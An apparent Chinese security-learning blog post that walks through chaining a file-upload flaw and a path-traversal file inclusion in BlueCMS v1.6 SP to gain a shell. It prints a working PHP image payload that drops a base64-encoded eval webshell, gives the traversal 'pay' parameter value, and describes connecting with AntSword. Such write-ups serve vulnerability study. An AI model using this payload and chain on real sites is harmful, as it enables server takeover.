BluecmsV1.6SP版本文件上传漏洞与文件包含漏洞联动打组合拳拿shell

文件上传位置——头像处

正常上传php探针,会被拦截,经过大小写等方式测试后发现无法绕过,然后猜测可能是白名单。

修改成正常图片扩展名后正常上传。

然后我们修改正常图片内容为恶意脚本。

<?php @fputs(fopen('shell.php',"w"),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWyJjIl0pPz4="));?>
<?php echo "success"; ?>

该脚本的作用是写入一句话木马到shell.php文件中,一句话木马的密码为小写字母  c

上传的位置可通过右键图片,然后复制图片地址获得。

然后我们浏览器访问测试下看看

能够正常访问到上传的恶意图片。

 

文件包含漏洞——在线支付位置

抓包

然后我们在POST里面增加一个pay参数,给这个参数赋值咱们上面上传的恶意图片路径(注意先目录穿越下../../)

&pay=../../data/upload/face_pic/15959408774.png

然后点击Go,响应success说明图片马执行成功。

然后我们测试下脚本生成的木马是否存在,如果不存在再重复上述步骤。

直接xxx.xxx.xx.xx/shell.php根目录访问下,如果未出现404说明木马文件生成成功,出现404说明失败,重复上述步骤。

接下来上菜刀或类似工具链接。

我这里用的是蚁剑

配置好后点击测试链接,提示连接成功。

然后成功获取到网站目录信息。

END

文章仅用于安全学习交流,请勿用于非法用途,因此造成的后果自行承担,与作者无关。

说点什么
头像
支持Markdown语法
在"Bluecms漏洞整理之文件上传文件包含组合拳"已有1条评论
Loading...